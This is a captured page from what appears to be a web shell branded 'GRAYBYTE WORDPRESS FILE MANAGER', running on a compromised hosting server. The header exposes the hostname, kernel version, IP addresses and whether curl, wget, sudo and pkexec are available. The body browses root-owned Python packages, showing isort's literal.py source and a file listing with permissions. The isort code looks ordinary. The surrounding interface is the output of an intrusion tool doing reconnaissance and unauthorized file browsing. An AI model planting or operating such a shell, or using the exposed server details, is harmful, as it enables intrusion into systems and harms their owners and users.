✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.36
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /opt/cloudlinux/venv/lib/python3.11/site-packages/isort//literal.py
import ast
from pprint import PrettyPrinter
from typing import Any, Callable, Dict, List, Set, Tuple

from isort.exceptions import (
    AssignmentsFormatMismatch,
    LiteralParsingFailure,
    LiteralSortTypeMismatch,
)
from isort.settings import DEFAULT_CONFIG, Config


class ISortPrettyPrinter(PrettyPrinter):
    """an isort customized pretty printer for sorted literals"""

    def __init__(self, config: Config):
        super().__init__(width=config.line_length, compact=True)


type_mapping: Dict[str, Tuple[type, Callable[[Any, ISortPrettyPrinter], str]]] = {}


def assignments(code: str) -> str:
    values = {}
    for line in code.splitlines(keepends=True):
        if not line.strip():
            continue
        if " = " not in line:
            raise AssignmentsFormatMismatch(code)
        variable_name, value = line.split(" = ", 1)
        values[variable_name] = value

    return "".join(
        f"{variable_name} = {values[variable_name]}" for variable_name in sorted(values.keys())
    )


def assignment(code: str, sort_type: str, extension: str, config: Config = DEFAULT_CONFIG) -> str:
    """Sorts the literal present within the provided code against the provided sort type,
    returning the sorted representation of the source code.
    """
    if sort_type == "assignments":
        return assignments(code)
    if sort_type not in type_mapping:
        raise ValueError(
            "Trying to sort using an undefined sort_type. "
            f"Defined sort types are {', '.join(type_mapping.keys())}."
        )

    variable_name, literal = code.split("=")
    variable_name = variable_name.strip()
    literal = literal.lstrip()
    try:
        value = ast.literal_eval(literal)
    except Exception as error:
        raise LiteralParsingFailure(code, error)

    expected_type, sort_function = type_mapping[sort_type]
    if type(value) != expected_type:
        raise LiteralSortTypeMismatch(type(value), expected_type)

    printer = ISortPrettyPrinter(config)
    sorted_value_code = f"{variable_name} = {sort_function(value, printer)}"
    if config.formatting_function:
        sorted_value_code = config.formatting_function(
            sorted_value_code, extension, config
        ).rstrip()

    sorted_value_code += code[len(code.rstrip()) :]
    return sorted_value_code


def register_type(
    name: str, kind: type
) -> Callable[[Callable[[Any, ISortPrettyPrinter], str]], Callable[[Any, ISortPrettyPrinter], str]]:
    """Registers a new literal sort type."""

    def wrap(
        function: Callable[[Any, ISortPrettyPrinter], str]
    ) -> Callable[[Any, ISortPrettyPrinter], str]:
        type_mapping[name] = (kind, function)
        return function

    return wrap


@register_type("dict", dict)
def _dict(value: Dict[Any, Any], printer: ISortPrettyPrinter) -> str:
    return printer.pformat(dict(sorted(value.items(), key=lambda item: item[1])))  # type: ignore


@register_type("list", list)
def _list(value: List[Any], printer: ISortPrettyPrinter) -> str:
    return printer.pformat(sorted(value))


@register_type("unique-list", list)
def _unique_list(value: List[Any], printer: ISortPrettyPrinter) -> str:
    return printer.pformat(list(sorted(set(value))))


@register_type("set", set)
def _set(value: Set[Any], printer: ISortPrettyPrinter) -> str:
    return "{" + printer.pformat(tuple(sorted(value)))[1:-1] + "}"


@register_type("tuple", tuple)
def _tuple(value: Tuple[Any, ...], printer: ISortPrettyPrinter) -> str:
    return printer.pformat(tuple(sorted(value)))


@register_type("unique-tuple", tuple)
def _unique_tuple(value: Tuple[Any, ...], printer: ISortPrettyPrinter) -> str:
    return printer.pformat(tuple(sorted(set(value))))


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
25 Jun 2026 7.01 AM
root / root
0755
__pycache__
--
11 Feb 2026 8.04 AM
root / root
0755
_vendored
--
20 Jan 2026 1.01 PM
root / root
0755
deprecated
--
11 Feb 2026 8.04 AM
root / root
0755
stdlibs
--
11 Feb 2026 8.04 AM
root / root
0755
__init__.py
0.851 KB
20 Jan 2026 1.01 PM
root / root
0644
__main__.py
0.035 KB
20 Jan 2026 1.01 PM
root / root
0644
_version.py
0.07 KB
20 Jan 2026 1.01 PM
root / root
0644
api.py
25.508 KB
20 Jan 2026 1.01 PM
root / root
0644
comments.py
0.911 KB
20 Jan 2026 1.01 PM
root / root
0644
core.py
21.997 KB
20 Jan 2026 1.01 PM
root / root
0644
exceptions.py
6.895 KB
20 Jan 2026 1.01 PM
root / root
0644
files.py
1.552 KB
20 Jan 2026 1.01 PM
root / root
0644
format.py
5.354 KB
20 Jan 2026 1.01 PM
root / root
0644
hooks.py
3.26 KB
20 Jan 2026 1.01 PM
root / root
0644
identify.py
8.177 KB
20 Jan 2026 1.01 PM
root / root
0644
io.py
2.164 KB
20 Jan 2026 1.01 PM
root / root
0644
literal.py
3.626 KB
20 Jan 2026 1.01 PM
root / root
0644
logo.py
0.379 KB
20 Jan 2026 1.01 PM
root / root
0644
main.py
45.726 KB
20 Jan 2026 1.01 PM
root / root
0644
output.py
27.152 KB
20 Jan 2026 1.01 PM
root / root
0644
parse.py
24.738 KB
20 Jan 2026 1.01 PM
root / root
0644
place.py
5.05 KB
20 Jan 2026 1.01 PM
root / root
0644
profiles.py
2.094 KB
20 Jan 2026 1.01 PM
root / root
0644
py.typed
0 KB
20 Jan 2026 1.01 PM
root / root
0644
pylama_isort.py
1.277 KB
20 Jan 2026 1.01 PM
root / root
0644
sections.py
0.29 KB
20 Jan 2026 1.01 PM
root / root
0644
settings.py
34.75 KB
20 Jan 2026 1.01 PM
root / root
0644
setuptools_commands.py
2.243 KB
20 Jan 2026 1.01 PM
root / root
0644
sorting.py
4.409 KB
20 Jan 2026 1.01 PM
root / root
0644
utils.py
2.356 KB
20 Jan 2026 1.01 PM
root / root
0644
wrap.py
6.173 KB
20 Jan 2026 1.01 PM
root / root
0644
wrap_modes.py
13.251 KB
20 Jan 2026 1.01 PM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF